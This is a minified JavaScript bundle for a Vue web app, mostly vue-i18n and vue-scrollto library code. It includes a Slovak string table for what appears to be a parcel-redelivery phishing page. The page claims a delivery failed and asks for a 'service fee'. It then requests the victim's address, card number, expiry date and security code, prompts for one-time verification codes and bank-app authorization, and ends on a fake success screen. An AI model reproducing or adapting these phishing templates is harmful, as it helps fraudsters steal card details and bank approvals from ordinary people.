s=De(n[0])?n[0]:{};(ze(s.globalInstall)?s.globalInstall:!0)&&([Pm.name,"I18nT"].forEach(a=>e.component(a,Pm)),[km.name,"I18nN"].forEach(a=>e.component(a,km)),[Dm.name,"I18nD"].forEach(a=>e.component(a,Dm))),e.directive("t",QI(t))}const eN=Hr("global-vue-i18n");function tN(e={},t){const n=__VUE_I18N_LEGACY_API__&&ze(e.legacy)?e.legacy:__VUE_I18N_LEGACY_API__,s=ze(e.globalInjection)?e.globalInjection:!0,o=new Map,[a,c]=nN(e,n),u=Hr("");function h(w){return o.get(w)||null}function d(w,O){o.set(w,O)}function m(w){o.delete(w)}const g={get mode(){return __VUE_I18N_LEGACY_API__&&n?"legacy":"composition"},async install(w,...O){if(w.__VUE_I18N_SYMBOL__=u,w.provide(w.__VUE_I18N_SYMBOL__,g),De(O[0])){const D=O[0];g.__composerExtend=D.__composerExtend,g.__vueI18nExtend=D.__vueI18nExtend}let P=null;!n&&s&&(P=uN(w,g.global)),__VUE_I18N_FULL_INSTALL__&&ZI(w,g,...O),__VUE_I18N_LEGACY_API__&&n&&w.mixin(KI(c,c.__composer,g));const F=w.unmount;w.unmount=()=>{P&&P(),g.dispose(),F()}},get global(){return c},dispose(){a.stop()},__instances:o,__getInstance:h,__setInstance:d,__deleteInstance:m};return g}function mf(e={}){const t=Di();if(t==null)throw ln(tn.MUST_BE_CALL_SETUP_TOP);if(!t.isCE&&t.appContext.app!=null&&!t.appContext.app.__VUE_I18N_SYMBOL__)throw ln(tn.NOT_INSTALLED);const n=rN(t),s=iN(n),o=ay(t),a=sN(e,o);if(a==="global")return ly(s,e,o),s;if(a==="parent"){let h=oN(n,t,e.__useComponent);return h==null&&(h=s),h}const c=n;let u=c.__getInstance(t);if(u==null){const h=It({},e);"__i18n"in o&&(h.__i18n=o.__i18n),s&&(h.__root=s),u=df(h),c.__composerExtend&&(u[bu]=c.__composerExtend(u)),lN(c,t,u),c.__setInstance(t,u)}return u}function nN(e,t,n){const s=Au(),o=__VUE_I18N_LEGACY_API__&&t?s.run(()=>vu(e)):s.run(()=>df(e));if(o==null)throw ln(tn.UNEXPECTED_ERROR);return[s,o]}function rN(e){const t=_n(e.isCE?eN:e.appContext.app.__VUE_I18N_SYMBOL__);if(!t)throw ln(e.isCE?tn.NOT_INSTALLED_WITH_PROVIDE:tn.UNEXPECTED_ERROR);return t}function sN(e,t){return Ha(e)?"__i18n"in t?"local":"global":e.useScope?e.useScope:"local"}function iN(e){return e.mode==="composition"?e.global:e.global.__composer}function oN(e,t,n=!1){let s=null;const o=t.root;let a=aN(t,n);for(;a!=null;){const c=e;if(e.mode==="composition")s=c.__getInstance(a);else if(__VUE_I18N_LEGACY_API__){const u=c.__getInstance(a);u!=null&&(s=u.__composer,n&&s&&!s[oy]&&(s=null))}if(s!=null||o===a)break;a=a.parent}return s}function aN(e,t=!1){return e==null?null:t&&e.vnode.ctx||e.parent}function lN(e,t,n){$u(()=>{},t),Wu(()=>{const s=n;e.__deleteInstance(t);const o=s[bu];o&&(o(),delete s[bu])},t)}const cN=["locale","fallbackLocale","availableLocales"],Um=["t","rt","d","n","tm","te"];function uN(e,t){const n=Object.create(null);return cN.forEach(o=>{const a=Object.getOwnPropertyDescriptor(t,o);if(!a)throw ln(tn.UNEXPECTED_ERROR);const c=yt(a.value)?{get(){return a.value.value},set(u){a.value.value=u}}:{get(){return a.get&&a.get()}};Object.defineProperty(n,o,c)}),e.config.globalProperties.$i18n=n,Um.forEach(o=>{const a=Object.getOwnPropertyDescriptor(t,o);if(!a||!a.value)throw ln(tn.UNEXPECTED_ERROR);Object.defineProperty(e.config.globalProperties,`$${o}`,a)}),()=>{delete e.config.globalProperties.$i18n,Um.forEach(o=>{delete e.config.globalProperties[`$${o}`]})}}WI();bI(eI);vI(gI);EI(Y_);if(__INTLIFY_PROD_DEVTOOLS__){const e=ss();e.__INTLIFY__=!0,tI(e.__INTLIFY_DEVTOOLS_GLOBAL_HOOK__)}const fN={"There is an error in this field, please check":"V tomto poli je chyba, skontrolujte to prosím","Please enter a valid email address":"Zadajte prosím platnú e-mailovú adresu","Dear users, please fill in the form carefully to ensure the successful delivery":"Vážení používatelia, vyplňte prosím formulár dôkladne, aby ste zabezpečili úspešné doručenie","Your Name":"Vaše meno",Address:"Adresa","Detailed Address":"Podrobná adresa","(Optional)":"(Voliteľné)",City:"Mesto",State:"Štát",Province:"Provincia",Region:"Región","Zip Code":"PSČ","E-Mail":"E-mail",Next:"Ďalej","Telephone Number":"Telefónne číslo",Online:"Online",Payment:"Platba","For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":"Za opätovné doručenie si musíme účtovať niektoré poplatky za služby. Vaša zásielka bude opätovne doručená po zaplatení","lump sum: ":"paušálna suma: ",Cardholder:"Držiteľ karty","Card Number":"Číslo karty","Expire Date":"Dátum vypršania platnosti","Security Code":"Bezpečnostný kód",Submit:"Odoslať","Click here to receive another code":"Kliknite sem, aby ste dostali ďalší kód","Please confirm your identity and a one-time code will be sent":"Potvrďte prosím svoju identitu a jednorazový kód bude odoslaný","The verification code has been sent to":"Overovací kód bol odoslaný na","Please do not click the":"Prosím, neklikajte na tlačidlá 'Obnoviť' alebo 'Späť', pretože to môže ukončiť alebo prerušiť vašu transakciu","Verification code error, please try again":"Chyba overovacieho kódu, skúste to prosím znova","The session is about to expire, please complete the verification now":"Relácia čoskoro vyprší, dokončite prosím overenie teraz","This card does not support this transaction, please try another card":"Táto karta nepodporuje túto transakciu, skúste prosím inú kartu","Authorized bank":"Autorizovaná banka","Please go to the bank App to confirm the authorization":"Pre potvrdenie autorizácie prejdite prosím do aplikácie banky","Please do not close this page":"Prosím, nezatvárajte túto stránku","Payment Successful":"Platba úspešná!","Thank you for your purchase. Your payment has been processed successfully":"Ďakujeme za váš nákup. Vaša platba bola úspešne spracovaná","Mailing address":"Poštová adresa","street address or house number":"ulica alebo číslo domu","Apartment number":"Číslo bytu, číslo izby, atď.","Safe payment":"Bezpečná platba","Verification code":"Overovací kód","Delivery status":"Stav doručenia","Your package number":"Číslo vašej zásielky: {0}","Failure notice of delivery":"Oznámenie o neúspešnom doručení","Because the delivery address is not clear, your package is not delivered":"Pretože doručovacia adresa nie je jasná, vaša zásielka nebola doručená","Your package has returned to our operation center":"Vaša zásielka sa vrátila do nášho operačného centra","Please update your address":"Aktualizujte prosím svoju adresu, znovu odošleme o {0}",Continue:"Pokračovať","Next Step":"Ďalší krok","Update Immediately":"Aktualizovať okamžite"};var fy={exports:{}};/*! * vue-scrollto v2.20.0 * (c) 2019 Randjelovic Igor * @license MIT */(function(e,t){(function(n,s){e.exports=s()})(Ns,function(){function n(ce){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?n=function(Y){return typeof Y}:n=function(Y){return Y&&typeof Symbol=="function"&&Y.constructor===Symbol&&Y!==Symbol.prototype?"symbol":typeof Y},n(ce)}function s(){return s=Object.assign||function(ce){for(var Y=1;Y0?de=V:Y=V;while(Math.abs(Le)>c&&++re=a?R(ne,S,Y,Ce):M===0?S:D(ne,oe,oe+d,Y,Ce)}return function(oe){return oe===0?0:oe===1?1:P(re(oe),de,He)}},x={ease:[.25,.1,.25,1],linear:[0,0,1,1],"ease-in":[.42,0,1,1],"ease-out":[0,0,.58,1],"ease-in-out":[.42,0,.58,1]},q=!1;try{var Z=Object.defineProperty({},"passive",{get:function(){q=!0}});window.addEventListener("test",null,Z)}catch{}var W={$:function(Y){return typeof Y!="string"?Y:document.querySelector(Y)},on:function(Y,de,Ce){var He=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{passive:!1};de instanceof Array||(de=[de]);for(var Le=0;Le2&&arguments[2]!==void 0?arguments[2]:{};if(n(mt)==="object"?st=mt:typeof mt=="number"&&(st.duration=mt),Y=W.$(Ge),!Y)return console.warn("[vue-scrollto warn]: Trying to scroll to an element that is not on the page: "+Ge);if(de=W.$(st.container||se.container),Ce=st.hasOwnProperty("duration")?st.duration:se.duration,Le=st.hasOwnProperty("lazy")?st.lazy:se.lazy,He=st.easing||se.easing,V=st.hasOwnProperty("offset")?st.offset:se.offset,re=st.hasOwnProperty("force")?st.force!==!1:se.force,ne=st.hasOwnProperty("cancelable")?st.cancelable!==!1:se.cancelable,oe=st.onStart||se.onStart,ge=st.onDone||se.onDone,Pe=st.onCancel||se.onCancel,v=st.x===void 0?se.x:st.x,S=st.y===void 0?se.y:st.y,typeof V=="function"&&(V=V(Y,de)),M=ct(de),K=rt(de),Ot(),B=!1,!re){var Ka=de.tagName.toLowerCase()==="body"?document.documentElement.clientHeight||window.innerHeight:de.offsetHeight,Xs=K,ji=Xs+Ka,Yi=b-V,za=Yi+Y.offsetHeight;if(Yi>=Xs&&za<=ji){ge&&ge(Y);return}}if(oe&&oe(Y),!L&&!E){ge&&ge(Y);return}return typeof He=="string"&&(He=x[He]||x.ease),ie=U.apply(U,He),W.on(de,ae,$,{passive:!0}),window.requestAnimationFrame(wt),function(){C=null,B=!0}}return Rt},Me=Ve(),qe=[];function $t(ce){for(var Y=0;Y{dN.scrollTo("#app",0),n()});Js.use(HS);Js.mount("#app");export{CN as A,ea as B,Dt as C,Wu as D,SN as E,Fu as F,AN as G,uL as H,cL as I,Ou as J,ER as K,uu as L,ns as M,yN as N,bN as O,nx as _,mf as a,$u as b,Hg as c,hs as d,Vc as e,wN as f,qu as g,EN as h,as as i,Mr as j,Di as k,ox as l,dt as m,_N as n,Ni as o,Mt as p,CO as q,Wr as r,Vi as s,tT as t,Gs as u,_n as v,kT as w,gN as x,vN as y,xO as z};